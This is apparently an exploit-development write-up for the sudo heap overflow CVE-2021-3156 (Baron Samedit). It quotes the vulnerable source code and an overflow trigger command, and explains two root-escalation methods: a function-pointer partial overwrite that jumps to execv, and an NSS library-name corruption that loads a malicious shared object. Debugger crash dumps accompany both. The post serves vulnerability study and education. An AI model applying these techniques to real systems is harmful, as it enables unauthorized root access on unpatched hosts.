CVE-2021-3156 – sudo heap-based overflow leading to privilege escalation (PoC development)

On 26th of January, a new sudo vulnerability came out reported by Qualys (Baron Samedit).

The advisory is available here.

The vulnerability is present in the sudo code for 10 years, which attracts a lot, as a ton sudo versions are affected.


The vulnerability consists on a heap-based overflow when an argv[] parameter ends with a backslash.

Let’s analyze the root cause at set_cmnd() @ plugins/sudoers/sudoers.c:

/* set user_args */
if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;

    /* Alloc and build up user_args. */
    for (size = 0, av = NewArgv + 1; *av; av++)
	size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	debug_return_int(-1);
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	/*
	 * When running a command via a shell, the sudo front-end
	 * escapes potential meta chars.  We unescape non-spaces
	 * for sudoers matching and logging purposes.
	 */
	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
	    while (*from) {
		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
		    from++;
		*to++ = *from++;
	    }
	    *to++ = ' ';
	}
	*--to = '\0';
    } else {
	for (to = user_args, av = NewArgv + 1; *av; av++) {
	    n = strlcpy(to, *av, size - (to - user_args));
	    if (n >= size - (to - user_args)) {
		sudo_warnx(U_("internal error, %s overflow"), __func__);
		debug_return_int(-1);
	    }
	    to += n;
	    *to++ = ' ';
	}
	*--to = '\0';
    }
}
}



As we can see, first it iterates over the available argv[] arguments and strlen() them, the addition of the whole strlen() results is used as the malloc() request size.

Then if the ISSET() conditions are met, it enters in the for loop.

As we can see, the while loop condition is *from, so when *from is NULL, we can deduce it breaks out from the while loop.

But in the if conditional we can see that if the character is a backslash, it increments from by one, so if the backslash is the last character in the argv, the next byte will be a NULL byte, then it will copy the NULL byte to the to content, and increments it again. That means the while loop condition is still met as we bypassed the *from being a NULL byte at loop condition.

Now, let’s suppose there is a second argv[] after it. It will start copying it’s bytes until it finishes (if not finishing with a backslash too lol).

Once we reach a NULL byte, the for loop will point from to the second argv[] start, which will start copying bytes again from the second argv, bypassing the size calculation with strlen() and writing bytes out of bounds.

Also, the environment variables are contiguous to the argv parameters, as explained by the Qualys advisory:

------------------------------------------------------------------------
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
------------------------------------------------------------------------

--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk

But… how can we exploit this bug?

Sudo has all the protections enabled in their binary, so no classic attacks, also we are overflowing the heap, so it’s time to corrupt internal program data and structures to reach something interesting.

The Qualys advisory pointed out various methods to exploit it.

The first method is to get a chunk before an struct that holds a function pointer, also it has fully compatible arguments with execv() (first a string, and then an address to a NULL pointer.

But ASLR is enabled…

Hopefully, that pointers points to sudoers.so, which in a near location, has a PLT entry for execv()

Then to bypass ASLR we can partial overwrite the function pointer and reuse the arguments to execute a binary with the name of the rdi pointed string as root.

The struct to be overflowed is the following:

/* Singly linked hook list. */
struct sudo_hook_entry {
    SLIST_ENTRY(sudo_hook_entry) entries;
    union {
	sudo_hook_fn_t generic_fn;
	sudo_hook_fn_setenv_t setenv_fn
	sudo_hook_fn_unsetenv_t unsetenv_fn;
	sudo_hook_fn_getenv_t getenv_fn;
	sudo_hook_fn_putenv_t putenv_fn;
    } u;
    void *closure;
};

This is the code that will call the corrupted function to let us jump to execv():

/* NOTE: must not anything that might call getenv() */
int
process_hooks_getenv(const char *name, char **value)
{
    struct sudo_hook_entry *hook;
    char *val = NULL;
    int rc = SUDO_HOOK_RET_NEXT;

    /* First process the hooks. */
    SLIST_FOREACH(hook, &sudo_hook_getenv_list, entries) {
	rc = hook->u.getenv_fn(name, &val, hook->closure);
	if (rc == SUDO_HOOK_RET_STOP || rc == SUDO_HOOK_RET_ERROR)
	    break;
    }
    if (val != NULL)
	*value = val;
    return rc;
}


The second method was a lot more clean, and did not need bruteforce. I find it more stable aswell.

There is another code at nss/nsswitch.c in libc which will help us a bit…

It loads some services in the form: “libnss_” + ni->name + “.so”

/* Construct shared object name.  */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
				      "libnss_"),
			    ni->name),
		  ".so"),
	__nss_shlib_revision);

Well, but it retrives it from an struct called ni…

typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

What if we can corrupt the name array to an string called “whatever/whatever”?

It will concat it and will finally be: “libnss_whatever/whatever.so”

So if we enter a custom library with a constructor popping a shell in that directory with that name we would be able to pop a shell as root.

As that modified string will be passed to _libc_dlopen().

The only requirement is:

/* Load library.  */
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      /* This service has not yet been used.  Fetch the service
	 library for it, creating a new one if need be.  If there
	 is no service table from the file, this static variable
	 holds the head of the service_library list made from the
	 default configuration.  */
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }


  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
		      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;

To avoid a crash, we would have to make ni->library NULL so it calls nss_new_service() again and in the if below a crash does not happen when trying to access ni->library->lib_handle.


Now we know the attack vectors for it, and how to trigger the vulnerability, but we must now try to get a chunk where we want.

Finally, as the Qualys advisory says, I created a bruteforce script fuzz.py which gave me a bunch of crashes to accelerate the Heap Feng Shui methodology.

Initial fuzz.py version: https://github.com/lockedbyte/CVE-Exploits/blob/master/CVE-2021-3156/fuzz.py

@bl4sty made an improved version of it available here: https://github.com/lockedbyte/CVE-Exploits/tree/master/CVE-2021-3156/fuzz2

Finally after some time fuzzing, some interesting crashes appeared, meaning that the chunks gone just where we want to, before interesting pointers that trigger crashes when overwritten.

One of them was the nss_load_library() one, and the other was the process_hooks_getenv()

I got a few crashes for both of them and selected the ones that fits better the layout I needed.

Program received signal SIGSEGV, Segmentation fault.
0x0000555555566502 in ?? ()
rax            0x0                 0
rbx            0x555555583650      93824992425552
rcx            0x7                 7
rdx            0x4242424242424242  4774451407313060418
rsi            0x7fffffffe770      140737488349040
rdi            0x7ffff797464d      140737347274317
rbp            0x7ffff797464d      0x7ffff797464d
rsp            0x7fffffffe770      0x7fffffffe770
r8             0x7ffff7f61081      140737353486465
r9             0x7fffffffe6d0      140737488348880
r10            0xffffffff          4294967295
r11            0x202               514
r12            0x7fffffffe770      140737488349040
r13            0x7fffffffe7b0      140737488349104
r14            0x7fffffffe818      140737488349208
r15            0x2                 2
rip            0x555555566502      0x555555566502
eflags         0x10206             [ PF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
k0             0x0                 0
k1             0x0                 0
k2             0x0                 0
k3             0x0                 0
k4             0x0                 0
k5             0x0                 0
k6             0x0                 0
k7             0x0                 0
=> 0x555555566502:	callq  *0x8(%rbx)
(gdb) i r rbx
rbx            0x555555583650      93824992425552
(gdb) x/8x 0x555555583650
0x555555583650:	0x42424242	0x42424242	0x42424242	0x42424242
0x555555583660:	0x42424242	0x42424242	0x42424242	0x42424242
(gdb) 

As you can see after reproducing one of the crashes, the struct hook contains attacker controlled data, which allows us to corrupt the pointer we need.


When I finally calculated the needed offsets successfully, I entered at the end the partial overwrite and debugged a bit through the PoC to see if working:

$rax   : 0x0               
$rbx   : 0x000055607b638b90  →  0x20208a0420002042 ("B "?)
$rcx   : 0x7               
$rdx   : 0x0               
$rsp   : 0x00007ffcb5b1de58  →  0x0000556079797505  →   lea edx, [rax+0x1]
$rbp   : 0x00007f1f0bbe564d  →  "SUDO_EDITOR"
$rsi   : 0x00007ffcb5b1de60  →  0x0000000000000000
$rdi   : 0x00007f1f0bbe564d  →  "SUDO_EDITOR"
$rip   : 0x7f1f0b008a04    
$r8    : 0x00007f1f0c1d2081  →  "-> %s @ %s:%d"
$r9    : 0x00007ffcb5b1ddc0  →  0x0000003000000028 ("("?)
$r10   : 0xffffffff        
$r11   : 0x202             
$r12   : 0x00007ffcb5b1de60  →  0x0000000000000000
$r13   : 0x00007ffcb5b1dea0  →  0x0000000000000000
$r14   : 0x00007ffcb5b1df08  →  0x802a75732b4ae100
$r15   : 0x4               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────
0x00007ffcb5b1de58│+0x0000: 0x0000556079797505  →   lea edx, [rax+0x1] ← $rsp
0x00007ffcb5b1de60│+0x0008: 0x0000000000000000 ← $rsi, $r12
0x00007ffcb5b1de68│+0x0010: 0x802a75732b4ae100
0x00007ffcb5b1de70│+0x0018: 0x0000000000000000
0x00007ffcb5b1de78│+0x0020: 0x00007ffcb5b1def0  →  0x00007f1f0bbee9e8  →  "../../../plugins/sudoers/rcstr.c"
0x00007ffcb5b1de80│+0x0028: 0x00007f1f0bbe564d  →  "SUDO_EDITOR"
0x00007ffcb5b1de88│+0x0030: 0x00007ffcb5b1df98  →  0x0000000000000000
0x00007ffcb5b1de90│+0x0038: 0x00007ffcb5b1df08  →  0x802a75732b4ae100
────────────────────────────────────────────────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x7f1f0b008a04
────────────────────────────────────────────────
[#0] Id 1, Name: "sudoedit", stopped 0x7f1f0b008a04 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────
gef➤


As we can see the RIP was partially modified with two arbitrary bytes plus a NULL byte which is appended by the copying function.

Now we need aproximately 4096 tries to success on the jump to the address we want (execv@PLT).

As we can see the arguments are fully compatible with the execv ones, we have an string pointed by rdi called “SUDO_EDITOR” that coincides with the path variable in the execv:

$rdi : 0x00007f1f0bbe564d → “SUDO_EDITOR”

and then, rsi points to a NULL pointer


$rsi : 0x00007ffcb5b1de60 → 0x0000000000000000

Those arguments are fully compatible with execv(), which is a good condition to execute a binary called “SUDO_EDITOR” (the callback) in the same directory, which will finally be executed as root.

The second method can be triggered just by corrupting the argument, and overwriting ni->library with a NULL pointer, thus avoiding the crash when trying to access it’s content once a new service pointer is given by nss_new_service().


You can find the exploits for both of the explained methods here: here.

Also, I did a small speech about the vulnerability and the exploitation, you can find the slides here.